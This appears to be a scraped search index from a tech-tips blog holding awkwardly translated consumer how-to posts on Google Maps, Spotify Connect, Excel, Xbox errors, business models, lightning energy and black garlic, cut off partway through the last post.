language"},{"body":"Google Maps is the best map application on smartphones, helping users find and navigate. In addition to popular features, here are some Google Maps tips for Android that you may not know yet, let's explore together.\n1. See your speed and speed limits This feature is actually not included in Google Maps, but you can add it by downloading Velociraptor from Play Store. How to use it is very simple, just download the application, adjust the settings and then open Google Maps. You should now see a small bubble next to the current speed and speed limit on the road. You can even set alerts when speeding up, so you don't have to get tickets.\n  2. Add Pit Stop and check gas prices   When you start navigating somewhere, you can touch the Search button (with a magnifying glass) to search for another location and add it as a Pit Stop point (click to check the vehicle) by clicking on the icon Three dots in the upper right corner and select Add stop .\nIn addition, you can search for filling stations, which will show you gas prices at different locations, saving you a few coins when filling up.\n3. See estimates of travel time   If you are planning a trip and want to see the transit time by public transport at a particular time, you can use the Google Maps intelligent time estimator.\nTo do so, select the starting position and destination location as usual, then touch the tab public transportation\u0026gt; Depart At . It will automatically jump to the present time but you can change it to another time by changing it to Arrive By .\nThese estimates are usually quite correct because they are public transport. However, if you plan to travel by car, you need to use the Google Maps web application.\n4. Change the view mode   If Google Maps suddenly looks different, you may have accidentally changed the view. The first feature is to change the direction of the map by touching the compass, tap it once to navigate north and press again to navigate based on the position you face.\nThe second feature is to see the size of the virtual building by using two fingers to zoom in to see all buildings in a given area. When you want to return to the bird's eye view, just pinch two fingers to zoom out.\n5. Add labels to the location   In addition to being able to mount locations to save them in My Place , you can also add labels to these locations. However, you cannot add labels to locations registered in Google Maps.\nSuppose you visit a store and want to remember its location. Obviously, this store does not register their address as a business address in Google Maps, so you will see a standard address appear to add a label to it, named Paul's House, for example, it will appears in Your Places .\n6. Click and hold to navigate faster   When searching for a location, you will see a green button appear at the bottom right. You can press it to see the different navigation. However, if you find that the first navigation of Maps is reasonable (for example, driving with the shortest time), you can press and hold the green circle button to navigate.\n7. Send directions to your phone   Have you ever taken a route on Google Maps on your computer and want to use it on your phone? If so, this is the way. You only need to log in to the same account on both phone and computer devices, then select Send directions to your phone. You will receive a notification to take you to Google Maps.\n8. Navigate inside the shopping mall   In fact, Google Maps can not only navigate on roads, it also works for some shopping centers. If you are in a shopping mall, enlarge it to see the layout of the center. You can find specific stores, locate toilets and even navigate separate floors.\n9. See where you've been   Open the three-bar menu at the top left of the screen and select Your timeline . Here, you can choose any previous date to where you went. You can delete your location history or disable this feature completely if you wish. Also, you can add notes for a certain day, to remember what you did.\n10. Double-tap to zoom This is a simple trick, but useful when using only one hand. To zoom in, double-tap the screen but hold your finger on it after the second touch, then drag it down. To zoom out, do the same but pull up.\nInfinite zooming on Google Maps 11. Save routes faster without Google knowing   By driving experience in a specific area, you can know many shortcuts, avoiding busy traffic hours. When Google Maps creates a route for you, it often uses main roads or highways, rarely navigating you to small roads.\nHowever, there is no way to create your own way on your phone, but you can use Google Maps on your computer, by adding each location one by one.\n  When finished, just click Send directions to your phone at the end of the route to send the link to the phone.\n  12. Save locations to your calendar     When receiving an event invitation with an address, to avoid forgetting, you can add this address to your calendar by following the steps below:\nStep 1 . When the map opens, simply press the three dots in the upper left corner, then select Share directions from the menu\nStep 2 . This will open the application list, select Copy to clipboard .\nStep 3 . Open Calendar, create an event in the day you plan to go and paste the shared link in the Add location field in Google Calendar.\nStep 4 . This will embed all directions in text, with each turn. It also has a link to open the route directly in Google Maps.\n13. Add reviews and photos to the destination     If you want to share the experience at restaurants, hotels, businesses you've ever been to other people, you can do this on Google Maps. All you have to do is access your contributions in the Google Maps menu.\nAs mentioned before, Google keeps the entire timeline of the location you came from. Therefore, in this section, Google provides a handy page for you to evaluate, more convenient when searching for businesses to evaluate.\nIn addition to leaving reviews, you can upload your photos to Maps in the Photos section via Google Photos (synced with your phone) with defined locations based on where you take them. In this section, you can select them and touch the Post button to add to Google Maps.\n14. Let your family follow your trip     With location sharing on Google Maps, you can allow family and friends to track your itinerary during a business trip, travel, etc.\nTo enable this feature:\nStep 1 . Open the Google Maps menu and select Location sharing.\nStep 2 . Select Get Started .\nStep 3 . Choose whether you want to share for a certain period of time or not until the feature is turned off.\nStep 4 . Select people from your contacts who want to share your location or copy the link to the clipboard. You can also choose any application like Twitter or Facebook, to share the public link.\n15. Download the map to navigate offline     If you want to travel or travel somewhere without a mobile network, download offline maps to use.\nStep 1 : When using Wifi, open the location map you plan to go.\nStep 2 : From the Google Maps menu, select Offline maps\nStep 3 : Select Select Your Own Map .\nStep 4 : Drag the resulting map to display the area you want to save, then click the Download button.\nStep 5 . Rename the map to make it easy to find in the list.\nNow you can use the map without mobile network. However, one thing to note is, your phone must have at least 10MB of free space and larger areas will require more.\nHow to use Google Maps without wasting space See more:\nOptimize positioning on Google Maps through 5 steps How to adjust the volume of directions in Google Maps Useful features on the Google Maps app that you don't know yet ncG1vNJzZmismaXArq3KnmWcp51kwaq80madqKpdqsCqusZmnqinl6GybrnAqapmp55irq%2Bw0aignQ%3D%3D\n","link":"/post/tips-for-using-google-maps-on-android/","section":"post","tags":null,"title":"Tips for using Google Maps on Android"},{"body":"Fortnite's survival shooting mode is very popular around the world. Players can experience this online multiplayer game on multiple platforms including mobile. However, Fortnite takes up quite a bit of storage space. This makes many players with low-end phones unable to load and play games.\nLuckily, there are quite a few games on the app store with gameplay similar to Fortnite, but with a fairly small file size. To help players who want to enjoy the Fortnite-like game experience on devices with little free space, Taimienphi.vn will introduce you to the top 5 Android games or like Fortnite under 200 MB.\n1. 1v1.LOL 1v1.LOL requires players to destroy opponents and build to survive and win just like in Fortnite. 1v1 lol also provides a practice mode for beginners where you can practice shooting and building buildings for hiding. This game has a wide range of powerful weapons including shotguns, submachine guns, assault rifles, sniper rifles . Players can also build walls to protect themselves from enemies.\n  Link download the latest 1v1 LOL here.\n2. Rocket Royale Rocket Royale's innovative gameplay is what attracts players to this game. You will have to fight for your life on a dangerous island that will definitely remind you of Fortnite. In Rocket Royale, you can also craft rockets from available materials to escape from the island. Players can fight solo or play with friends in Rocket Royale.\n  Download Rocket Royale here.\n3. Battle Destruction The characters are designed in the cartoon style of Battle Destruction like Fortnite. Players will fight on a large snow-covered map with unique day and night modes. Battle Destruction currently has over 5 million downloads on the Google Play Store. Besides the engaging gameplay, simple controls are also factors that contribute to its popularity.\n  Download the latest Battle Destruction here.\n4. Victory Royale In Victory Royale, 100 players land on a deserted island and fight for their life, Fortnite's familiar gameplay. Victory Royale has modest configuration requirements and is compatible with both high-end and low-end Android devices. PvP battles are extremely fun and although the game has received some criticism for its features, it's still worth downloading and experiencing.\n  Download Victory Royale for Android here.\n5. Battlefield Royale The general rules of the Battle Royale game also apply in this game. Players can buy a variety of skins and accessories and use them to customize their character, just like what they can do in Fortnite. A battle consists of 50 players. Unique equipment such as enemy detection tools or hologram are also present in the game and they will greatly help the player in the battle.\n  Download the latest Battlefield Royale here.\nWith a capacity of less than 200 MB and gameplay similar to Fortnite, here are 5 attractive BR games to replace Fortnite that you should not ignore if you own an Android device with little memory, or you cannot download Fortnite on your smartphone. mine.\nTop 5 Fortnite ncG1vNJzZmismaXArq3KnmWcp51kwbC8jG5koKqVlsFurc2dqaihlGK0ornErGSloZuaeqe70a2loqyVYsKvsMSrZGtoYKKv\n","link":"/post/top-5-great-android-games-like-fortnite-under-200mb/","section":"post","tags":null,"title":"Top 5 great Android games like Fortnite under 200MB"},{"body":"Why do most social networks never take off? Why are there markets where business is so difficult? Why do the best tech startups fail so often?\nTalking about the business model, there are two types: the tube model and the platform model. You can run your startup completely wrong if you try to build a platform and use the tactics of the pipe model. First, take a look at the definition of these models.\nSee more: Understanding the business model in just 2 minutes - Business Model Canvas\nTube business model Tubular models have appeared since we started having industries . They have dominated the world of business models for a long time. Businesses create products and sell them to customers. The value goes up and goes down in a linear flow like the water flowing through the tube.\nWe can see tubes everywhere. Every product we use comes to us through such a tube. All businesses use pipe models. Television and radio are tubes that bring content to the audience. The education system is the tube where teachers bring knowledge to learners.Before the advent of the Internet, almost every service ran on such a tube model .\n  Even on the Internet, the tube model still exists. Blog running by tube model. E-commerce stores like Zappos also run on tube models. SaaS (Software as a Service) a user also runs the pipe model when the software is created by the enterprise and delivered to consumers by the paid model and then used.\nPlatform model When the Internet has not yet been born, we have not seen the birth of a platform-based business model. Unlike pipes, the platform not only creates and delivers products to users. They allow users to create and consume value. In the technology class, external developers can extend the functionality of the platform through APIs. In the enterprise class, users (manufacturers) can create value on the platform for other users (consumers).This creates a dramatic change that has never been seen in business. To understand more about building values ​​above the platform, refer to the article below.\nSee also: How small ideas create great value?\nTV Channel works with the tube model but YouTube works with the platform model. Encyclopaedia Britannica using pipe modeling as Wikipedia chose to build value on the platform model. Our regular class still uses pipe modeling like Udemy and Skillshare to use the platform model.\n  The failure of business models So what's important here?\nThe platform is a completely different business model. If you build a foundation in the way that you build a pipe, you are probably preparing for your failure. The media industry is facing the fact that the model has changed. Traditional style has been broken by emerging markets and in-store technologies, which can only work on a platform model.\nThinking tube and foundation thinking Below is a summary of the different points of these two models.\nAttract customers Attracting customers on the tube model is relatively easy to understand. You have users and \"convert\" them into a transaction. As well as bringing customers into retail stores, online stores also focus on having customers and converting them.\nMany platforms after birth also follow the strategy of the tube model as above, try to have users and turn them into a certain type of action. However, the platform is often invalid when the first user appears . They have the problem of \"chicken and egg\" again. Users (as producers) often create value for other users (consumers). Producers upload photos to Flickr and product listings on eBay, from which users \"consume\". Therefore, without a producer, it will not be valuable to consumers and no consumers will not be valuable to producers.\nSee also: Manufacturer - User - Customer - Who are they?\nThe platform faces two main challenges, namely:\nChicken and eggs to get both producers and consumers on the platform. Make sure that the producer will create the product, ie create value. If you can not solve these 2 problems, try to increase page traffic or application downloads can not help you attract more customers. Startups often fail when they build platform apps but use pipe thinking to attract customers.\nTube thinking - Optimizing conversion hopper for growth.\nSingle platform - Build network effects before optimizing conversions.\nSee also: Breeding strategy for the platform - solving chicken and egg problems\nProduct design and management Pipe creation is very different from foundation creation. Pipe making requires that we always think of consumers. Kayak.com online travel agent is a tube that allows users to use air tickets. All features are built to help consumers easily find and use airline tickets.\nMeanwhile, the foundation requires us to build and always think of both producers and consumers . Building YouTube, Dribbble or AirBnB requires us to create a tool for producers (such as hosting videos on YouTube) and consumers (for example, watching videos). Looking through both prisms will help to build reasonable features for the product.\nSummary of possible cases (Use case terminology is used in system analysis, describing how outsiders interact with the system in different scenarios) when using common pipe models available while For platforms, they can appear during use, just like Twitter has developed use cases over time. Initially, the application allows you to type 140 characters to express yourself, then it transforms into a platform for sharing information and eventually becomes a completely different model to search for hot topics (trending topic).Users often take the platform to completely new directions. User development can not help you much.\nTube thinking - Users interact with the software we create. Product value is in itself.\nFoundation thinking - Users interact with each other using the software we create. The product is of no value if the user does not use them.\nCurrency issues Currency in tube model is also very easy to understand. You calculate the cost per unit of product going through the pipe to the customer, ensuring that Price = Cost + Expected profit . This is a simplified model of the art of valuation that is very complex, but it also captures the fact that users are the value users create.\nWith the platform model, this problem is not so simple. When producers and consumers deal with each other (on AirBnB, SitterCity or Etsy), either side or both create a transaction on the platform. When producers create content and attract consumers (on YouTube), the platform can make money by attracting customers (through advertisements). In some cases, the platform also grants permission to use the API.\nSo is the economic activity on the platform. Usually at least 1 party will be assisted to join the platform. Producers are even encouraged to participate. With the tube model, a simple formula will help you understand currency issues.\nCustomer Acquisition Cost (CAC) \nCost to attract customers\nThis formula is very true for e-commerce stores or Subscription models. With the foundation, it is necessary to have a look at the system to balance prices and differences, calculate the deductions on each side of the formula so that the business model is effective.\nPipe thinking - We charge customers for the value we create.\nFoundation thinking - We need to determine who creates value and who will charge because of that value.\nBut . Thinking platform applies to every Internet business Without the Internet, our world is still dominated in the tube model. The Internet, as a connected network, is itself a platform and allows businesses - based on it - to leverage the attributes of the platform.\nAny business on the Internet has some basic attributes . E-commerce stores and single-user SaaS also operate as pipe models. But because they are also used over the Internet, they also have elements of the platform model. Blog allows commenting, discussion. Interaction is the viewer who reads the blogger's article but the side interaction (such as commenting) makes the blog also has the element of the platform model. Readers also cooperate to create value. Sales pages rated by users, ranked also carry the element of the platform.\nThe end of the tube model In the future, every company will be a technology company. We saw this change when many businesses restructured their business model to use value-creating data.\nWe are moving from a linear business model to a network model, from simple pipes to smart platforms. All businesses need to switch to this new model at some point or face the risk of being \"disruptive\" platforms.\n  ncG1vNJzZmismaXArq3KnmWcp51kwbOtzaydqKqdlsGqu81mpp9lkqrAqrrErKpmpZ%2BZsq15xaumpmWgnr2medOoZKmkkamzsL7MZqelmaSbvLO5\n","link":"/post/transformation-of-business-model-from-pipe-to-platform-platform/","section":"post","tags":null,"title":"Transformation of business model - from Pipe to platform (Platform)"},{"body":"Streaming is the future of music consumption, and while your stereo may be from the '90s, you can still use it to play music from the cloud music services like Spotify. Alongside voice assistants such as Amazon Alexa and Google Assistant,\u0026nbsp;Spotify\u0026nbsp;Connect is one of the most useful ways to control your streaming music collection. The system enables both Spotify Free and Premium users to stream music from their phones (or other devices) to Wi-Fi-enabled stereo systems by tapping a few buttons.\u0026nbsp;\nInterested? Here's what you need to know.\n What is Spotify Connect? Spotify Connect was introduced in September 2013 as a way to give users \"effortless control of your music across your phone, tablet and now speakers with millions of songs built right in.\" Spotify Connect devices started filtering into the market in 2014.\nSpotify Connect is one of several methods enabling you to listen to music from your phone through a stereo system. Others include Bluetooth, Apple's AirPlay and Google's Chromecast built-in. The biggest difference between Spotify Connect and Bluetooth is that Spotify uses higher-quality Wi-Fi connectivity, which is less susceptible to dropouts, sounds better and has a much wider range.\nIf you use a standalone Spotify Connect system, the app will automatically turn the device on and set the volume as soon as you press play -- very convenient!\nAlthough Spotify Connect is part of the Spotify app on your phone, it actually allows your speaker or music system to stream music from Spotify directly, rather than via the phone. Translation: you don't run your phone down, it simply acts as your remote control.\nBy comparison, AirPlay -- which also uses Wi-Fi -- and Bluetooth stream music directly from the phone to the receiving device, which can wear down the battery more quickly.\nChromecast built-in,\u0026nbsp;available on devices like the\u0026nbsp;Chromecast,\u0026nbsp;Android TV\u0026nbsp;devices and\u0026nbsp;some audio gear, notably\u0026nbsp;from Sony, also streams from audio services directly.\nWhile Spotify's competitors work with multiple cloud music services as well as local music files, Spotify Connect only works with the Spotify app. Recent updates to Sonos mean that Spotify is now interoperable with Sonos devices, too. It's also important to note that you can also use the Spotify app to stream to both AirPlay and Chromecast built-in devices, and these will appear as available devices in much the same way as a Connect receiver does.\u0026nbsp;\n  What you'll need The first thing you need is either a Spotify Premium\u0026nbsp;or a Free account. While the service was initially only available to Premium subscribers, Free users were able to use Connect as of November 2018.\nIn addition to a functioning Wi-Fi or cellular network connection, you'll need something to stream from -- whether it's your phone, tablet or PC running the Spotify app. The receiver can then be a dongle (such as the $35 Amazon Echo Input) plugged into an existing audio system), a set of speakers or other similar hardware with Spotify Connect onboard.\nWhile plugging a dongle into your stereo will bring you quickly and cheaply into the Spotify Connect ecosystem, it's worth considering buying a receiver or stereo system that supports it natively. Why? Because then you don't have to turn your stereo on and set it to the right input separately.\nCompatible devices There are a growing number of Spotify Connect devices, from dongles for existing stereos (Amazon Echo Input and Dot) to tabletop speakers (Sonos One, Amazon Echo) to receivers (such as from Sony or Onkyo) and home theater systems. The company has an official list of\u0026nbsp;Spotify Connect devices here, which appears to be regularly updated.\n  While the Spotify Connect software works on almost any PC, Mac, iOS or Android device, universal support isn't guaranteed with even modern AV equipment. Check your device for the Spotify logo, or look for an updated manual on your manufacturer's website just to be sure. In some cases compatibility can be added later, for example, while\u0026nbsp;Spotify once deleted its app from the Roku platform\u0026nbsp;it was later replaced by a Spotify Connect-compatible version.\u0026nbsp;\n  While some devices have both a Spotify app onboard and Connect support we have found in almost all cases that using Connect is better. One big reason is that, unlike the mobile version, the onboard app in your TV or AV receiver might never receive updates or just simply stop working. In addition, apps built into\u0026nbsp;TVs\u0026nbsp;and other gear can be tedious because they use your remote control instead of your phone's touchscreen.\u0026nbsp;\nHow to use Spotify Connect The easiest way to use Spotify Connect is with the Android or iOS app. You don't have to perform a set up routine to stream to a new speaker (as you would with most multi-room services); if the Spotify Connect device is on the network, your phone should be able to see it.\nOnce the app detects compatible speakers, a \"Devices Available\" icon appears at the bottom left of the app. Pressing this will bring up a list of the players on your network, with a choice of Spotify Connect, Chromecast built-in or even AirPlay/Bluetooth connections.\u0026nbsp;\nOnce you choose a player to stream to, your music will begin playing. If you have a speaker group created within Google Home, you can now stream to all of them together using Spotify as well.\nIf you use the Mac/PC app, the Devices icon is next to the volume slider located on the right-hand side of the screen. Click it to find other devices on your network.\nIf the \"Devices Available\" icon doesn't appear, you can try going to Settings-\u0026gt;Show Available Devices. If for some reason that doesn't work, check that device is connected to your network. Unfortunately there's no syncing process to manually add your device. It either connects or it doesn't.\n  Keep in mind that all compatible devices on the network, plus ones you have previously logged into around the world, will appear in the list. This means if you really want to mess with your pets when you're away from home, you can.\nSound quality tip: If you are streaming using your home Wi-Fi, it's worthwhile to set your audio quality to \"Extreme.\" You can find this under Settings-\u0026gt;Music Quality and it will stream at the maximum 320kbps -- which is great for your hi-fi system and still not as taxing as a Netflix stream.\u0026nbsp;\nSpotify Connect is one of the best features of the Swedish-based streaming service. It's easy to use, and offers high-quality audio playback. While amplifiers, smart speakers and stereos with Spotify Connect onboard work best, an inexpensive dongle can bring your 20th century boom box into the future. Just don't forget your silver jumpsuit.\nncG1vNJzZmismaXArq3KnmWcp51kwLG706KdsmWTpLuvscKtZLCgkal6qsCMoqpmmZ6Zeqm71magrWWnpL%2Bsvw%3D%3D\n","link":"/post/what-it-is-and-how-it-works/","section":"post","tags":null,"title":"What it is and how it works"},{"body":"Alto's Adventure and Alto's Odyssey are two great games that have received positive reviews from players and reputable technology news sites. Both have won the Design Award voted by Apple.\nCurrently, Snowman developers are giving away these two games for free on the App Store for a short time. If you like, please quickly download and experience offline.\n  Alto's Adventure\nThe story of Alto's Adventure tells the story of a young boy's journey to find the llamas. In that journey, he must overcome obstacles, collect coins and slide down a hill with no end points.\nFree download link Alto's Adventure.\nhttps://apps.apple.com/app/id950812012  Alto's Odyssey\nAlto's Odyssey is a sequel to Alto's Adventure game but is completely independent so players don't need to play the first to experience this part. In the game, players will be taken to a majestic desert, vast and unexplored. Here, players will start an endless sand sliding journey to uncover the mysteries and temple city hidden in the magical lands far away. In that journey, you will experience surfing on windy sand dunes, sliding on towering rock walls, crossing grape fields, jumping on top of balloons and escaping from apes. wicked fox .\nIn Odyssey, players can unlock six characters, each with unique abilities and qualities.\nFree download Linh Alto's Odyssey\nhttps://apps.apple.com/app/id1182456409 ncG1vNJzZmismaXArq3KnmWcp51krq3Azqxkmpymmru1wdGeZJqmlGKurcDOrGSonKmowKbFjJ2msKacpK6lv4yaqZ5lnqTEbrLRnpxmp55iwamxjJqnqWWjqbyzsQ%3D%3D\n","link":"/post/alto-s-adventure-and-alto-s-odyssey-downloads-are-now-free-on-the-app-store/","section":"post","tags":null,"title":"Alto's Adventure and Alto's Odyssey downloads are now free on the App Store"},{"body":"Not everyone is happy with information about the Instagram acquisition just announced by Facebook today.\n\u0026gt;\u0026gt;\u0026gt;Facebook buys Instagram for up to $ 1 billion\nA rather unexpected reaction occurred when a series of users shared on Twitter about their intention to delete Instagram accounts. They expressed concern about the huge social networking site that could infiltrate personal data through Instagram's account.\n  Many users expressed their intention to remove Instagram on Twitter\nSome tech blogs even post tips and tools to get users' data out of Instagram such as Instaport. Users also find an Instagram notification that allows users to delete accounts. (However, the advice for you is not to rush to do anything unsure, when deleting an Instagram account you won't be able to register again under that name anymore.)\nObviously, users' concerns are not about Facebook changing Instagram or closing this service (this is not possible). Users interested in Facebook are invading privacy and collecting all personal data into large databases.\nWill users be overreacting, or perhaps they just want something smaller, more private?\nThat's why other small and specialized social networks (Path, Pair, Pinwheel .) were born to serve users' needs and replace (or even escape) a Facebook with size and Scary scale.\nncG1vNJzZmismaXArq3KnmWcp51ks6KvxJumqKNdlrCywcisoK2hn6N6sLKMoqWsrJGcv6K5jK6qnqqjYrGmuMStnGaZk5i8trrTrA%3D%3D\n","link":"/post/facebook-acquisition-of-instagram-users-delete-accounts/","section":"post","tags":null,"title":"Facebook acquisition of Instagram - Users delete accounts"},{"body":"Office 365 Education, including the online office suite, Ondrive 5TB, Microsoft Team . are giving away 6 months of free use, without using EDU email address. If you are working at home and need to use it, follow the instructions below.\nInstructions for getting 6 months for free Office 365 Education\nStep 1: Visit the link below -\u0026gt; go to LEARN HOW TO BUY FOR SCHOOLS .\nhttps://www.microsoft.com/en-us/education/products/office   Step 2: At the transition page, click the Get started for free button -\u0026gt; enter the required information -\u0026gt; click NEXT.\n  Step 3: Create a user ID with the extension onmicrosoft.com -\u0026gt; click Create my account.\nStep 4: Enter the OTA code sent to the mobile phone number entered in step 2 and wait for the initialization process to complete. Please save your account login information (portal.office.com or https://portal.office.com/adminportal/) and account id / password to access the admin page and use later.\nAfter registering, you can use Office 365 Online (A1 level for both trainers and students) for free, MS Team and 5TB OneDrive storage. You can create sub-accounts to share with friends or create group members.\nNote: After the 6-month free period expires, you must renew at the set price before you can continue using it. If you do not renew, your data will be deleted after it expires.\u0026nbsp;\nncG1vNJzZmismaXArq3KnmWcp51ks7OxxGadqKpda3quu82tn6xln5uzqq%2FEZmpvbV2Wfm67zZ6bq6Gmmnp2wMFmpKKboqTAsLLTZquemZ1isbCx0qerZqaVmrFuscOuZKaZmaE%3D\n","link":"/post/free-for-6-months-office-365-a1-onedrive-5tb-microsoft-team-doesn-t-need-edu-mail/","section":"post","tags":null,"title":"Free for 6 months Office 365 A1, Onedrive 5TB, Microsoft Team doesn't need EDU mail"},{"body":"1 lightning when struck down carries a huge energy source, temperature 30,000 ° C, 20 times the temperature needed to turn silica sand into glass. So why don't we collect energy from thunder and turn it into useful energy?\nLightning or lightning is the phenomenon of discharge in the atmosphere between clouds and earth or between clouds with other charges.\n  So how big is the current that a lightning carries? Let's calculate the lightning discharge capacity of a lightning through the following small calculation:\nThe voltage of the thundercloud is about U = 50 million volts .\nMaximum current intensity I = 200 thousand ampere . (By measuring the magnetization of the steel bar due to the current flowing into its coil when the lightning strikes the lightning protection device).\nWe have a discharge capacity\nP = UI = (50,000,000V). (200,000A) / 2 = 5,000,000,000WW (5 billion kiloat kW).\n(Note: As the discharge continues, the voltage has dropped to zero; therefore, when calculating the discharge capacity, the average voltage must be taken, in other words - take half of the original voltage. head).\n  To calculate the electricity (the power of the W current) that we can use, it is necessary to consider the factor of time t. The lightning launched such a terrible capacity but only lasted for a thousandth of a second.\nW = Pt = 5 .10 ^ 9 kW.h / (3600.1000) = 1400 kW.h.\nOur electricity tariff is being applied on a ladder electricity tariff. Therefore, the average electricity price of 1 kWh will depend on the amount of electricity consumers use in a month. And there is no fixed value for each month as well as for different electricity consumers.\nSo we can get the average price of 1,747 VND / kWh. Since then we calculate the price of a lightning is: 1,747,1400 = VND 2,445,800 (more than VND 2 million).\nWhy do people not use electricity from lightning? Genius Nikola Tesla and many scientists have had many researches to harness energy from lightning. But it can be seen that the value of a lightning bolt is not small, but it is economically insignificant compared to other ways of producing electricity.\nAccording to physicists Stephen Reucroft and John Swain of Northeastern University, one (only one ray in many rays on the same path) a lightning bolt containing several million joules is just enough for a 100 watt light bulb to shine for 5.5 hours. .\n  Difficulty in collecting energy from lightning.(Illustration.)\nMeanwhile, we do not have any equipment that can withstand such a high temperature of lightning. In addition, lightning strikes are quite intermittent and it is difficult to convert a high voltage into a low voltage for a short period of time to be able to store. So compared to more stable and economical ways, the exploitation of this kind of natural energy is still impossible.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjKasnKBdnsBurYytn66mlJq%2Fo7vLrWSwp6KptQ%3D%3D\n","link":"/post/how-much-is-a-thunderbolt-worth/","section":"post","tags":null,"title":"How much is a thunderbolt worth?"},{"body":"Quick Look is a feature that helps users to preview the contents of files on Mac OS very easily just by pressing Space key without having to open specialized applications.\nAlthough Windows 10 has not been updated to this feature yet, users can still preview most file types right inside File Explorer by installing the free QuickLook application on Microsoft Store.\n  Similar to Quick Look of Mac OS, QuickLook on Microsoft Store also works similarly. Select the file you want to view and press the Space key for the first time to show the preview window, press the 2nd or Esc to exit. In addition, it is possible to use Ctrl + scroll button to zoom in and out of preview files.\n  QuickLook opens most popular file formats like docx, pdf, psd . even large movies that compress MKV tails. For animated GIF files, QuickLook can still be opened but takes more time.\n  QuickLook doesn't have any customizations. After being installed on Windows 10, QuickLook will default to launch the same system and appear with a magnifying glass icon in the taskbar.\nQuickLook is a completely free application on Microsoft Store, when a new version is automatically updated.\nDownload link:\nQuickLook - Microsoft Store See more:\nHow to turn on anti-blur mode for high-resolution screen computers on Windows 10 April 20 useful troubleshooting tools for Windows 10 How to arrange network connection on Windows 10 ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpqinruoedCuoJyjXaG8sLeMppicZZ%2BoerG%2BxK%2Bgnq9dqbxuw8inm6ivo2J%2BcQ%3D%3D\n","link":"/post/how-to-bring-quick-look-mac-os-preview-to-windows-10/","section":"post","tags":null,"title":"How to bring Quick Look Mac OS preview to Windows 10"},{"body":" Guest accounts on Windows can be changed to Administrators, granting them full access to the software and files on the host computer. You will need to access the Windows Control Panel, and enable the Guest account from the 'User Accounts'...\n Samuel Daniel Update 04 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuYlruosYyaZKCtlajBbq3CnKaupqRiwbB5wKdkmpydnruqv9OrmK2nomK2r3nWoqWdp6eo\n","link":"/post/how-to-change-a-guest-account-to-an-administrator-in-windows/","section":"post","tags":null,"title":"How to Change a Guest Account to an Administrator in Windows"},{"body":"You have a long list of hundreds and thousands of names, you are looking for ways to find names in Excel to help save time when processing data. So invite you to learn how to find names in Excel that TipsMake.com share below.\n  Here TipsMake.com shares with you how to find names in Excel, please follow along.\nFind the name using the Find \u0026amp; Replace dialog box Step 1: If you want to find the name, you select the name column and press Ctrl + F or you select Home -\u0026gt; Find \u0026amp; Select -\u0026gt; Find to open the search window.\n  Step 2: The Find and Replace window appears , on the Find tab, enter the name to search in the Find what box . For advanced search, click Options and set some customizations.\n  Step 3: Then you click Find Next to search in turn, Find All to search for all.\n  If you select Find Next , Excel will go to each searchable name in turn.\n  If Find All is selected , a list of the found names will be displayed in the list below. You just need to click on the name, Excel will display that name.\n  Find the name in the column using Auto Filter You can create a Filter to quickly search for the name by selecting the name column. Next right click Data -\u0026gt; Filter to create a filter.\n  So the column you selected has created a filter, you click on the arrow icon of the filter, and enter the name to search in the Search box and click the search icon.\n  So the filter has been created and filtered by name, the list of names you search will be displayed.\n  Find names in multiple sheets If the names you want to search are in many different sheets in the Excel file, then look for the following:\nStep 1: Press Ctrl + F to open the search dialog.\n  Step 2: In the Find section of the Find and Replace dialog box , enter the name to search in the Find what box , and select Options .\n  Step 3: Select within Within is workbook and choose Find Next or Find All to search.\n  Thus the names in all sheets of the Excel file will be found.\n  So above TipsMake.com has shared with you how to find names in Excel. From now on if you need to find a name in a long list, you will quickly find the name you want. Hope this article will help you. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp6Zo7FuusCmnKxlmaN6psTCnqM%3D\n","link":"/post/how-to-find-names-in-excel/","section":"post","tags":null,"title":"How to find names in Excel"},{"body":"Xbox is a video game brand created and owned by Microsoft, represented by a series of video game consoles.\nThere are currently 3 generations of consoles and the 4th generation is preparing to launch. Each generation of game console has different specifications far from each other.\nOf course, there are always room for improvement and sometimes players may feel the need for an unofficial upgrade to their console.\nIf you've ever tried modifying the Xbox or installing third-party programs on it, chances are you've encountered an error code 13.\n  This error is because the Xbox console is not compatible with any updates you bring. Thankfully, you can fix this problem at home, like many other common Xbox errors. So you don't have to worry about sending your console back to Microsoft's service store.\nWhat makes more people curious is being able to do it using video games.\nHow to fix Xbox console error? First, you need to disconnect the Xbox from the Internet by unplugging the Ethernet cable. Choose a new Xbox game. Options include quite a few games developed after the fall of 2004, as they all have dashboard updates. Insert the game disc into the Xbox and close the drive to load. During the game setup process, the dashboard update is also automatically installed. Please note that some games will require you to manually update the control panel, so please pay attention during the setup process if there is any notice about this issue. Launch the game and select Xbox Live so the game will update the control panel.   This will help you get rid of error code 13. Remember that if this method doesn't work, just try again with another Xbox game.\nIf none of the above works, you may need to contact Xbox technical support.\nIt is not known whether this bug will still be a problem with the launch of the fourth generation console. However, the fourth generation console boasts many new features, so players will have something to look forward to.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp6ZrXqmvtGoqWabn5mybn2SZqanZaiXvLk%3D\n","link":"/post/how-to-fix-error-code-13-on-xbox/","section":"post","tags":null,"title":"How to fix error code 13 on Xbox"},{"body":"In this article, TipsMake.com will introduce you 2 extremely simple ways to make real black garlic at home with electric rice cooker and black garlic pot .\nBlack garlic is a finished product from the fermentation of fresh garlic that has long been used as an effective remedy for its strong antibacterial properties. Black garlic is black, sweet, slightly chewy, not strong, like garlic, so it is easier to eat. At the same time, the fermentation process also increases the content of active ingredients, easy to absorb, so black garlic has a good effect on health, enhances resistance, immune system and supports treatment for those suffering from Chronic insomnia, impaired liver function, high blood pressure .\nFurther reference: Black Garlic - The god of healing\ncontent How to choose garlic to make black garlic How to make black garlic with electric rice cooker How to make black garlic with black garlic making machine Making black garlic at home with a rice cooker or a pot of black garlic better? On the market today, Vietnam black garlic often has the lowest price of about 1 million VND / kg, while the types originating from Japan and South Korea cost up to 3-4 million VND / kg. Although there are many good uses, but the price of processed black garlic is expensive, not everyone can buy and use everyday. But don't worry, you can also make black garlic at home very simply by using electric rice cooker or black garlic making machine. Check out the instructions to get it right!\nHow to choose garlic to make black garlic   Select and prepare fresh garlic thoroughly before fermentation.\nThe main ingredient for making black garlic is garlic. You can use the common garlic branching or lonely garlic Ly Son for better use. Note that you need to choose the big, beautiful, evenly spiced garlic , not moldy, germinate or soak in water . Prepare the garlic first by removing the long stem (if any) and peeling the thin outer layer to remove 